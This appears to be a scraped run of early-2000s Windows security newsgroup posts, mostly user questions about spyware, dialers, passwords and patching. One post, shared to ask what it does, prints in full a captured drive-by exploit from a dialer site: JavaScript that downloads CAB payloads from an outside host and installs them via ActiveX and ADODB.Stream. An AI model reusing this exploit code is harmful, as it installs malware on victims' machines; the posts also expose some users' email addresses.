Weird start up probs
Hi all,
When I boot up my laptop (WinXP Home), all most
immediately my dial up connection starts up. I have
checked all of the dialup connections & they appear to be
ok - oh I have compared these settings to a desktop I use
(again WinXP Home). Thats the first problem.
Now the second problem in my opinion is possibly tied in
with the first. When my laptop has successfully logged on
I get a toolbar appear & if I click on HOME it takes me to
a site www.active-max.com.
I must admit it doesnt really bother me to much however
reading your groups this might be quite serious &
therefore I would like to take some action.
I regular use Sybot search & destroy, I use black ice
defender as my firewall & use Nortons anti virus.
Also I regulary do my microsoft updates.
I have also checked in my add & remove programs to ensure
there have not been any dodgy software loaded - there is
not.
Any advice would be greatly appreciated
Thank in advance
Jim Tag: help Tag: 42065
internet call waiting
I need to know which security update blocks port 7700.
i am told by bell south internet call waiting service
that this prevents icw form working properly. Tag: help Tag: 42064
SUS srv problems
We have a few Win XP sp1 clients that are hanging during
the "applying software policy" portion of the bootup. We
apply the WUAU22.msi package via group policy and also
change the windows update properties via group policy, so
that clients get updates from our local SUS server. I
understand that SP1 installed the windows update service,
so shouldn't the machines just go past the wuau22.msi
package install since they already have the software?
Any help would be appreciated. Tag: help Tag: 42063
? different type of format?
Data recovery folks say they can recover all data not
over written on your hd. Is there a program that will over
write all sectors/clusters etc. on a hd so that this is
not possible and if so who are they? most thankfull Tag: help Tag: 42058
data security
Data recovery folks say they can recover all data not
over written on your hd. Is there a program that will over
write all sectors/clusters etc. on a hd so that this is
not possible and if so who are they? most thankfull. Tag: help Tag: 42056
search history
on the microsoft internet explorer,immediately below the
address bar,is a search bar. Can anyone tell me how to
clear the search history from this bar?
Thanks
I.L. Tag: help Tag: 42054
password on opening
I would like to set up a password upon opening my computer.
I didn't do this when I first got the computer.
Can anyone tell me how to go about doing this?
I"m working with windows 98 SE.
Thank you in advance for your assistance. Tag: help Tag: 42037
Xp firewall log
Hi,
How can i view the log file of the ICS firewall built in
XP professional or home edition. I have XP professional
and the firewall is turned on and i don't know how to
view it's log file.
Any reply will be appreciated
Thanks
Amanda Tag: help Tag: 42033
outlook express spam
i have email coming into my outlook express which i would
rather not have, i have sent a message back to the
company who sent the message saying that they are
spamming me and i have blocked there email but i dont
want to just block it because when its blocked it just
sent to my email bin, what i want to do is to stop it
been received by my email in the first place.
is there anyway i can do this or is there a way i can
only let people on my address book send me mail and thats
all ??? any help you can give would be great as i have
small kids who use the computer and i dont want them
seening some of the crap that is been sent. Tag: help Tag: 42029
Identify these IE exploits?
Hi everyone,
I'm trying to help some people who have been the victims of a pretty suspicious
porn website that installs dialler programs and stuff on their visitors' computers.
The problem is, I know zero about javascript, and am fairly clueless when it comes
to IE exploits too, which they seem to use pretty heavily in this case. I think I
have the general idea about what happens when people open these webpages (CAB-files
get downloaded and executed/installed) but it would be really great if anyone could
help me identify in more detail what the javascript code does and what exploits are
being used.
I'll include three files below. Thanks in advance for any help I can get.
Regards,
/Ragnar (you can mail user "ragnar" at the domain gatorhole dot se)
*** Dump of the HTL file that gets loaded first ***
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Connection: close
Date: Fri, 12 Dec 2003 22:10:06 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 29 Oct 2003 13:15:26 GMT
ETag: "bc1ea0b71e9ec31:a64"
Content-Length: 1130
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<script>
function SetCookie (name,value,expires,path,domain) {
document.cookie = name + "=" + escape (value) +
((expires) ? "; expires=" + expires.toGMTString() : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") ;
}
var expdate = new Date ();
expdate.setTime (expdate.getTime() + 60 * 60 * 1000);
SetCookie("infoexec1.0_filename", "^smsdial752.exe^dating762.exe^connecting19.exe^", expdate,
"/");
</script>
<head>
<title>Connecting</title>
</head>
<body bgcolor="#FFFF00" text="#000000">
<table width="300" border="0" align="center" bordercolor="#000000">
<tr>
<td>
<div align="center"><font size="4"><b>Ansluter till HÅRDPORR......</b></font></div>
</td>
</tr>
</table>
<div align="center"><br>
<br>
<a href="connecting19.htm"><font face="Arial, Helvetica, sans-serif" size="4"><b>SLÄPP
IN MIG</b></font></a><br>
<br>
<br>
<br>
<br>
<br>
<br>
<bR>
<script src=i.js></script>
</div>
</body>
</html>
*** Dump of the javascript i.js ***
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Connection: close
Date: Fri, 12 Dec 2003 22:13:51 GMT
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Mon, 08 Dec 2003 17:23:47 GMT
ETag: "6e6b1bab0bdc31:a64"
Content-Length: 2828
cabfile="http://www.sexfiles.nu/newdial/info_sex2.cab";
document.write('<div style="position: absolute; visibility: hidden;"><iframe id=if1></iframe></div>')
;
isopen=false;
openinsearch=false;
usecache=false;
function generic() {
document.write("<OBJECT CLASSID=clsid:bd11a280-2e73-11cf-b6cf-00aa00a74dae "+
"CODEBASE=http://www.sexfiles.nu/newdial/Info_sex.cab ID=i></OBJECT>");
}
function dl_o_inca(){
try{
var f2=new ActiveXObject("Microsoft.XMLHTTP");f2.Open("GET","/scripts/o_inca.htm", false); f2
.Send();
} catch(ex) {}
}
function s1(){
try{
x=GetObject("C:/WINDOWS/Tempor~1/Content.IE5/INDEX.DAT","htmlfile");
dl_o_inca();
var f0=new ActiveXObject("Microsoft.XMLHTTP");f0.Open("GET",cabfile, false); f0.Send();
setTimeout("s2();",200);
} catch(ex){
openinsearch=true;
}
try{
var s=new ActiveXObject("ADODB.Stream");
} catch(ex){
usecache=true;
}
if (openinsearch){
__bb=open("http:///","_search");
isopen=true;
if (usecache){
setTimeout("__so3()", 500);
} else {
setTimeout("__so2()", 500);
}
onunload=closes;
setTimeout("closes()", 5000);
}
}
function __so2() {
try{
open('file:javascript:eval(\'s=new ActiveXObject(\"ADODB.Stream\");s.Mode=3;s.Type=1;try{s.Open()
;x=new ActiveXObject(\"Microsoft.XMLHTTP\");x.Open(\"GET\",\"'+cabfile.replace(/[/]/g,"%2f")+'\",0);x
.Send();s.Write(x.responseBody);s.SaveToFile(\"C:%2fInfo_sex2.cab\",2);s.close();}catch(ex){};try{s.o
pen();x.Open(\"GET\",\"http:%2f%2fwww.sexfiles.nu%2fnewdial%2fI-iframe.HTM\",0);x.Send();s.Write(x.re
sponseBody);s.SaveToFile(\"C:%2fI.HTM\",2);s.close();}catch(ex){};;document.location=\"C:%2fI.HTM\"\'
)',"_search");
} catch(ex) {
closes();
generic();
}
}
function __so3() {
try{
dl_o_inca();
var f0=new ActiveXObject("Microsoft.XMLHTTP");f0.Open("GET",cabfile, false); f0.Send();
open('file:javascript:var z_;var a="";var ab="%2fo_inca[1].htm%3f";var xxy=GetObject("C:%2fWINDOW
S%2fTempor~1%2fContent.IE5%2fINDEX.DAT","htmlfile");var x=setTimeout("var aa=xxy.body.innerText.subst
r(30,80).match(%2f[A-Z0-9]{8}%2fg);for(i=0;i<4;i++){ab+=\\"~\\"+aa[i]};for(i=0;i<4;i++){a+=\\"<iframe
src=C:%2fWINDOWS%2fTempor~1%2fContent.IE5%2f\\"+aa[i]+ab+\\"><%2fiframe>\\"};document.write(a)",1000
);var z__;',"_search");
} catch(ex) {
closes();
generic();
}
}
function closes(){
if (isopen==true) {
isopen=false;
try{__bb.close()}catch(ex){}
}
}
function s2(){
try{
aa=x.body.innerText.substr(30,80).match(/[A-Z0-9]{8}/g);
a="";for (i=0;i<4;i++)
a+="<iframe src=C:/WINDOWS/Tempor~1/Content.IE5/"+aa[i]+"/o_inca[1].htm?"+aa[0]+"~"+aa[1]+"~"+a
a[2]+"~"+aa[3]+"></iframe>";
if1.document.write(a);
} catch(ex) {
setTimeout("s2();",200);
}
}
onload=s1;
onerror=generic;
*** Dump of the o_inca.htm file ***
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Connection: close
Date: Fri, 12 Dec 2003 22:20:42 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 03 Dec 2003 16:08:56 GMT
ETag: "fa63e1c0b7b9c31:a64"
Content-Length: 252
<script>
a=document.location.href.substring(document.location.href.length-35).split('~');
for (i in a)
document.write('<OBJECT CLASSID=clsid:11111111-1111-1111-1111-11111111111'+i+' CODEBASE="../'+a[i]+
'/info_sex2[1].cab"></OBJECT>');
</script> Tag: help Tag: 42028
Command Prompt of Firewall
Folks:
Is there a way to programatically (via DOS) switch on/off the Firewall built
into Windows XP ?
I have a copy of McAfee Firewall - Personal Edition - installed on my home
PC.
I just wondering if this program allows itself to be controlled (turned
on/off & configured) programmatically ?
If so, how can I programmatically (using DOS) turn on/off my Mcafee Firewall
and do some other basic configurations from the DOS PROMPT or from a batch
file.
Thanks,
John. Tag: help Tag: 42021
Virus?
Started having strange sound bytes like whistles,voices,snippets of songs, ran a virus scan and had several files infected
with sbworm,but they were cleaned or deleted. The sounds remain- don't know if they were connected but I'm manually
scanning file and haven't found anything yet. Anyone heard of a virus that leaves behind annoying sound bytes constantly.
Its preventing from using the video editing features because of the sounds ending up on the audio tracks. Also, in case someone is not aware if you receive an e-mail from Insta-kiss(or something similar) don't open , an employee's
online identiy info including passwords were lifted , and I recently received an email from that sender but deleted it. Tag: help Tag: 42019
What is "CCEVTMGR.EXE"
I turned on my wife's computer today and a Sygate window opened saying
Event Manager Service (ccebtmgr.exe) is being contacted from a remote
machine crl.verisign.com do you want to allow this program access to the
network. Not ever having seen this before I said no. Does anyone know what
this is? Thanks, Mac (The computer runs Win98se and I have Sygate
Personal Firewall on). Tag: help Tag: 42015
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email: levinson_k@despammed.com Tag: help Tag: 42010
password identification
When i set up my mn700 i dont recall assinging it a
password, now i am updating and its asking for a password
for the base station, Is there a work around or a way to
identify the password?
Thanks Tag: help Tag: 42006
Strange Application popup
I have the following Application Pop Up in an event log on one of our
computers:
Event ID: 26
"Application popup: Government Computer : Your ISP will be notified"
Is this something that has popped up on the computer in question or is it
something that has popped up on a computer trying to log on to the computer?
What could trigger an event like that? Tag: help Tag: 42002
Email Security
If public access is necessary for your computer, is there
a way to block just anyone from opening your email? I
know you can require a password, however, if you hit
cancel, the email opens up anyway. This is becoming a
real problem, any help would be greatly appreciated. Tag: help Tag: 41995
X-Box.com/retail security
I tried logging into my X-Box retailer training and it ask
for a user name and password and I don't know it. I didn't
need it yesterday for the same thing. Could someone @
Microsoft tell me how to find out my username and password? Tag: help Tag: 41994
Per Seat Licences
Hi,
I've got a web application that runs on an intranet, ASP
pages as the user interface, VB6 business layer and an SQL
Server database.
Is there anyway that I can restrict the number users who
can use the site at any one time? Users are not
connecting anonymously, if that helps.
Thanks for any help.
Iain Tag: help Tag: 41992
CONECTAR CON DIALER DE PRU...
KEEP GETTING THIS APPEARING ON DESKTOP, SAYS FROM
MICROSOFT, TARGET SEEMS TO BE, RUN DLL32. RUN DLL AS APP.
ANY IDEAS? Tag: help Tag: 41979
Outlook Express acting weird after removing spyware
Ever since I searched and destroyed spyware and parasites,
(spybot, ad-aware, HijackThis)Every time I load my find
more of the leaches in my history and cookies. I am
following the advice, thank you very much, and went
through step-by-step "Dealing With Unwanted Spyware and
Parasites". I tried to download a freeware firewall,
however, this particular site confirms through Email. The
problem is, when I try to connect to the site or any site
via Email, I get a blank browser, absolutely blank, even
the address box. How can I fix this? Tag: help Tag: 41975
THE BEST KEPT SECRETS OF THE COMPUTER UNDERGROUND
Remember, you heard this from me first. Installing a backdoor for
future and continued access to your computer system is simple once a
computer system is compromised. Here are the "Malicious Hackers Best
Kept Secrets"!
They install a Trojan Horse which disables your anti-virus and firewall
protection; also, they install a second set of their own hidden firewall
application(s) to protect their Virtual Private Network(s). The point
that I am trying to make is this, you can check your system for a
Backdoor, Trojan Horse, Virus, or Worm until your blue in the face, you
wouldn?t find any. The hackers own firewall application(s) can be
installed on your hard drive in a hidden folder and the only way you
would know it?s there is by going to your Control Panel, Folder Options,
View, Show All Files and Folders (Windows ME and earlier).
Windows keeps files and folders hidden by default so you don?t make
changes to their important files. You need to View all Files and
Folders on your computer to reveal what malicious hackers have installed
without your knowledge. This will open your eyes and show you all the
files and software applications now sitting on your hard drive. If you
want to learn more about computer security, if you?re a beginner, one
avenue is to read-up on configuring your mail and browsing
applications. Google and Yahoo also have Newsgroups and message boards
pertaining to the aforementioned. If utilizing a Windows platform, do
some reading on configuring your Windows Internet Options both Internet
and Local Settings. Also, spend time learning what applications in
Windows are running and on what port they run on.
What to learn about Computers, the Internet and Hacking, visit:
geocities.com/hacking_internet_secrets.
Tracker Tag: help Tag: 41974
net
Same as many others. Cannot get into things because of
net passport.want to remove it and did so yesterday, but
to-day it seems I still have an account when I try to log
onto some sites? Will not accept my old password that I
deleted and will not let me change it as it won't even
accept I'm a UK resident. Any help please. Microsoft
support is useless and one can waste hours, and I can't
even post a question without a passport. How on earth
does one get rid of this. Many Thanks Steve Tag: help Tag: 41973
Giving computer away
Hello, I am planing on upgrading my winXP computer soon,
and I would like to donate it. Is their anything I can
do short of a reformat and reinstall to scrub the
computer of personal data? I would prefer to aviod the
hassel of a reinstall if at all possible. Thanks for the
advice. Tag: help Tag: 41968
someone gave my e-mail adress away & i know who!!!!
I have a co. that i was trying to do busness with ant
thave not done ther part of the contrack. they keep
saying the it will work but it will not. they clame that
it will and even when they are on line trying to trouble
shot it will not work.
this person has given my e-mail adress to the pron web
site. i hav as of to day receved over 5000 porn e-mail my
granddarter which helps me with the buisness i can not
let her retreave me e-mail anymore.
i can not change my e-email adress for it will cost me
1000s for new letter head, cards, and adress accounts but
if this keeps up i may have to.
the last time i talked to the they put my e-mail adress
on a spam list so know i can not even get in to talk to
them.
help
paul
cdp1997@netins.net
put in subject line help - help - help
other wise I don't know if it is pron or npt Tag: help Tag: 41966
WHATS RELATED - how do i turn off?
How do I get the stupid whats related stuff out of my computer?
I ran adaware and other spyware killers yet I still get links on my webpages
that aren't really links. These are being processed and added at my end -
they are NOT actually on the webpage.
I don't have anything under my TOOLS menu for Whats Related and I've killed
the ALEXA registry entry... ITS STILL HAPPENING! Tag: help Tag: 41962
Cannot Open Attachments
Today I updated my Outlook Express to version 6 and now I
cannot open any attachments, even the ones I previously
opened before the upgrade. Is there an option In OE that
will allow me to be to open attachments if I choose to
open them? Tag: help Tag: 41961
email password
My email account is being broken into by another user and
i can't figure out how this is done.This person does not
have my email account password ,nor did i write it down
anywhere.This person is able to log onto the web and by
using certain info or get your server to give them access
to my account. I would like to know how i can prevent
them form breaking into my account using whatever means
they are using. Please advise me as to how i should go
about doing this
v/r eudes james Tag: help Tag: 41957
tracking use of shared drive
A co-worker and I came across a confidential file on our
shared drive. Can the IT people tell who accessed this
file? Don't ask why, but I copied it to my desktop before
I opened it (OK, I thought this would be less traceable).
I have deleted it from my desktop. What kind of
information can they garner concerning access of shared
files?
Thanks Tag: help Tag: 41956
PLESE
PLESE I LOST MY ACONT IN HOTMAIL SOME ONE CHANG ALL MY
DATALS AND I CAN'T OPIN MY MAIL I'M MOHAMED GRDAWY AND
THE MAIL THAT I LOST IT IS MOHAMED_GRDAWY@HOTMAIL.COM
CAN YOU PLESE SEND ME THE PASSWORD THE OLD PASSWORD IS
******** AND BEFOR IT THE PASSWORD WAS 4884555012 THAT IS
MY OLD PASSWORD CAN YOU PLESE SEND ME MY PASSWORD AT MY
YAHOO MAIL IS MOHAMED_GRDAWY@YAHOO.COM
THANKS Tag: help Tag: 41955
Malicious Script - Outlook Express
I have downloaded the latest service pack for Outlook
Express 6 and still get the message from Norton Antivirus:
Malicious Script
Object: Windows Scripting Host Shell Object
Activity: RegWrite
File: Unknown
Sometime the message gives the activity as 'Run'.
I'm running Windows 98 with the latest security patches.
Help please ? Tag: help Tag: 41954
IE6
after removing a trojan virus i cannot access the search
function from the start menu, neither can i open a page in
a new window. Have followed the site instructions but no
joy.
Also my home page keeps being changed to Search-space.
Any ideas? Tag: help Tag: 41950
SamChangePasswordUser2
I am constantly receiving the following message in the
passwd log file on a server running sbs 2000. Does anyone
know if this is a hack attempt / how to prevent?
12/15 10:34:02 Attempting password change server/domain
<domain name> for user TsInternetUser
12/15 10:34:02 SamChangePasswordUser2 on machine
\\<server> for user TsInternetUser returned 0xc0000022
12/15 10:34:02 SamChangePasswordUser2 retry on machine
\\<server> for user TsInternetUser returned 0xc0000022 Tag: help Tag: 41937
Microsoft Security Bulletin MS03-043
Is it advisable to download ALL MS Security Bulletin
fixes? The description of this bulletin refers to a 64-
bit system and I don't know if that applies to me or not. Tag: help Tag: 41936
W32Nimda_E
I have a computer that has been infected by the W32Nimda_E
virus. The most obvious effect is to make IE6 run
extremely slow. I downloaded FxNimdaE.com from Norton,
but it can't get rid of it. Anybody got any suggestions. Tag: help Tag: 41931
Security Update 823559
I have downloaded this update at least a dozen times this
year, but when Windows 98 SE scans for updates this item
always shows.
My download history indicates each download was successful.
How do I delete all the previous downloads, and how do I
ensure that this download can be done correctly?
Thank you Tag: help Tag: 41923
SUS -- is it really this lacking?
Hi ther
I've deployed SUS. That bit's all fine and working well (I think)
The problem is, I only think it is. As all the documentation says, I need to verify that the patch management is happening on all my machines
I'm fully aware of tools like MBSA, MBSACLI, hfnetchk, etc. They all have one problem. They are built as network scanners and a machine that is turned off at the time you run the scan will not be scanned
I would like to be able to run MBSA on each machine at startup or when a user logs in. This would ensure that machines are scanned regularly. If I relied on regular scanning from my workstation, I would not scan any machine that boots up only in the evening. Also, laptops that come on site for only a few hours a month can be scanned as well. In this scenario, the very machines that present the greatest risk to a business are the ones that don't get scanned
Back to running MBSACLI on bootup or login -- I can't! MBSA only runs with administrative rights! What's more, if I use a computer startup script in group policy, the process runs under the system account and can't attach to the network to get the mssecure.xml file or to connect to SUS
Am I the only one who thinks this is a severe shortcoming? Bigger environments can afford SMS (both the product cost and the skills required to administer it). In a 250-user environment this just isn't going to happen. Tag: help Tag: 41921
why they keep coming back?
Hi, I use ad-aware 6 and also like to use the online
scanner Pestscan simultaneously-They dont always find the
same spyware but I'd guess they do OK. Here's is my
concern. I got online and scanned with PS and then AAW.
Cleaned out all they detected. Then I went to this NGroup
& read some>then to see updates at windows>then to check
my mail at yahoo>then did a housecall virus scan (pc was
virus free>I did not go to anymore websites.
So why is it when I scanned again with PS, it
found "counterhit click (or something like that)& 207{1}
txt in my cookies in the "c" drive.MY QUESTION: does this
spyware just creep in because it already knows my IP
address and whe Im online, it takes advantage of this-
I'd like to understand more about this. please help Tag: help Tag: 41917
Blocking local users from using Messenger Service
Heres the scenario:
Recently we have had a group of users using Messenger
Service to distribute messeges etc. I have since disabled
the service through control pannel --> services.
How do I prevent them from simply going back into control
pannel --> services and re-enabling the service? The
trouble is that they need to have the profile set as power
users so that it can run certain programs.
All I want to do is disable their access to the contol
pannel, but keep them as power users.
Can this be done? If so... how?
Many thanks, Tag: help Tag: 41915
passport .net
Installing a new computer for my 11 year old son, set him
up for Passport .net before reading the kids passport
post completely. Have spent the last hour looking for
how to uninstall passport .net and can't find any
instructions ANYWHERE. I want this thing off my son's
machine because it will tell people how old he is and
where he lives, or so it says. If anyone can tell me how
to do it I would be most grateful. Imagine Microsoft
setting up this service without an obvious uninstall-- it
is shameful. Tag: help Tag: 41913
My browser is being hijacked
Every time I open IE Explorer, I get redirected to
zestyfind. I can't get rid of it. I've used spyware
removal, but it comes back up. I've tried deleting any
files associated with it as well, but it still comes up.
Every time I do a search, or load a favorite, I am
redirected to a place called UCSearch. I am very
frustrated, as I have tried everything I know to get this
off my system, but it keeps coming back. I also installed
the latest IE service\security pack, to no avail. If
anyone has any ideas, please let me know. Tag: help Tag: 41906
I cant open my email count any more:(
Dear Sir:
I found that I cant use my email count yesterday, I tried
several time but I just cant use my passwords log in as
before.
I do nto know why, and I didnt change my password, and I
never tell others about my password as well. and I do not
think others can see my passaword too because I m only
myself in the home.
I hope you can tell me what happened on my count and
better can let me use the count again.
Can you reply to me in my yahoo count? it is
sweetlover1314a@yahoo.com
thanks
Eve Tag: help Tag: 41901
web camera in the MSN massenger
i have a web cam that was working perfectly well, i could always see peaple in the messanger and they could see me, until the previous week, something went wrong, i dont realy know what, but maybe it's because i upgraded my massenger to version 6.1 , although my friends dont have a problem with it. anyway, now i can only see myself in the program of the camera but in the msn it doesnt work
please HELP me
thank you, Liron. Tag: help Tag: 41894
Alexa Data Miner
Ad-Aware scan picks up Alexa as a Register Key and "Windows" as a Registry
value. Should I Quarantine or Remove either or both of these? I seem to
remember reading someplace that Microsoft (or Windows) included Alexa
intentionally. My last scan picked up 54 new Suspect Files in Temp. - is
that normal or unusual? I find the Ad-Aware User Guide to be pretty heavy.
Just leaving it on Default, but the scan takes quite awhile, deep scanning
all of my hard drive. Advice?? Tag: help Tag: 41893
securty update for Windose ME
Why does critical update EXPLORER 6 SPI KB824145 LOADED 20
TIMES IN MY HISTORY FILE OF FILES DOWN LOADED Tag: help Tag: 41892
A "secure" Guest account for ISA server
Humor me on this, please. I know it's a stupid question.
Given:
a)the Guest account has been renamed
b)the Guest account's password is blank
c)the only right the Guest account needs is "access this computer from the network", but it doesn't need file or print access
d)this is a Windows 2000 member server in an NT4 domain (AD to be implemented next year)
How would you go about "securing" the server?
I'm thinking explicit denies on various registry keys and system files.
The problem is this: management wants to deploy an interior anonymous proxy server, but they want to know who uses it to go where.
Probably 75% of the users will be from trusted domains. It is up to the untrusted domains as to how they will prevent "their" users
from using "our" proxy (yes, it's a political nightmare).
The only way around this that I can see (without an ISA everyone/everywhere anonymous rule, which is enforced before authentication)
is a Guest account with a blank password.
This worked well on Proxy 2.0 because it would log PROXYSERVER\UNTRUSTEDDOMAINUSER whenever someone used the Guest account. ISA
unfortunately logs ISASERVER\GUESTACCOUNT, but I can live with that.
The ISA server sits behind a PIX so it's not directly exposed to the Internet. It will support Web Proxy and Firewall clients, but
not SecureNAT clients.
REGARDLESS OF THE UNDENIABLE FACT THAT ENABLING "GUEST" WITH A BLANK PASSWORD IS A BAD IDEA, how would you go about locking it down
as much as possible but retaining ISA functionality? Tag: help Tag: 41891
user name and password
I am using XP Home and internet explora 6.
On one website that I need to log into, it will not
accept my user name and password. However if I use my
laptop which is windows 2000 it works and allows me to
log in.
How can I adjust XP to allow log in. On XP I can log into
all other sites. What is the solution Tag: help Tag: 41890
i have forgot my password to outlook exs can anyone tell
me what i can do i am on win98.
thanks.